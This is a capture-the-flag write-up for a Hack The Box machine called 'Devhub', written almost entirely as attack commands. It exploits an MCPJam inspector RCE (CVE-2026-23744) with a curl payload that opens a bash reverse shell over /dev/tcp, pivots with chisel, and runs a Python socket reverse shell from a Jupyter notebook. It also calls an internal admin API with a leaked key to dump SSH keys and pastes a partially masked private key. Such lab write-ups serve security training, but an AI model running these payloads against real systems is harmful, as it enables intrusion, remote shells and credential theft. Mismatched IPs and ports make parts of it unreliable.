Devhub HTB Writeup

Command: nmap -A -Pn -sS 10.129.88.88

Command: echo 10.88.88.88 devhub.htb >> /etc/hosts

after exploring the site: http://devhub.htb, we have noticed that there is an MCP server running in 6274

notice the version of MCPJAM is 1.4.2 which has Remote Code Execution Vulnerability (CVE-2026-23744)

CVE-2026-23744

CVE-2026-23744 is a critical remote code execution (RCE) vulnerability in MCPJam inspector versions 1.4.2 and earlier. It allows any attacker on the same network (or, in some cases, the internet) to execute code on your computer without any authentication.

Command: curl -X POST http://devhub.htb:6274/api/mcp/connect \ -H “Content-Type: application/json” \
-d ‘{“serverConfig”:{“command”:”/bin/bash”,”args”:[“-c”,”/bin/bash -i >& /dev/tcp/10.10.11.11/4444 0>&1″],”env”:{}},”serverId”:”rce_test”}’

Command: nc -lvnp 7676

Now confirm that the sell is received

We found that opsmcp is running on port 5000, use the following command: curl -i http://127.0.0.1:5000/

Command: strings /opt/opsmcp/server.py | head -200

Command: mcp-dev@devhub:/tmp$ curl -i “http://127.0.0.1:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7”

The API key is likely:

In a visible file in Jupyter’s file browser
In a notebook cell that was hidden from the API
In a configuration file you can now browse to

Since we already have the Jupyter token, once we set up Ligolo, open http://240.0.0.1:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 in your browser and explore the /opt/opsmcp/ directory visually! by doing port forwarding

Command: chisel server -v –port 8100 –reverse –auth us:as

upload chisel to the victim machine by finding it, then copying it to the directory and uploading it to the victim machine:

Command: whereis chisel

Command: cp /usr/bin/chisel /home/kali/Desktop/Saesons/11/devhub

start your listener,

Command: python3 -m http.server 6666

Command: curl http://10.10.10.10:6666/chisel -o chisel

Command: nohup chisel client 10.10.14.12:8080 R:socks > /dev/null 2>&1 &

User Flag

Now go to the browser and access 127.0.0.1:8888/lab, you should see the dashboard

Now click on the option Python 3 (ipykernel) under Notebook and paste the code:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.88.18",4444)) # Use YOUR Kali IP
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])

Command: nc -lvnp 4444

Command: ls, cat user.txt

Root Flag

Command: curl -H “X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a” \ -X POST http://127.0.0.1:5000/tools/call \ -H “Content-Type: application/json” \ -d ‘{“name”:”ops._admin_dump”,”arguments”:{“target”:”ssh_keys”,”confirm”:true}}’

Command: cat > root_key << ‘EOF’
—–BEGIN OPENSSH PRIVATE KEY—–
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9
G/jqltqP312IONAX9LwvTne81E4h+hi2xdjwgvh27iE4AvCQolR8S0GWHwHQjjXVQ5/dHX
8MA96********************************************************************************************************************************************************************************************0fWgXZtXR8gC3+b5+4eJgX3t
oocmAAMvEYlOvs8GXeYkMBAwi5VCjLunNBCmuRMjTE************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************gE7lqgdhfkK0Lx/a4BWnYaki+xbk
Jt9XB5f2NlmnT4A5Qqi
—–END OPENSSH PRIVATE KEY—–
EOF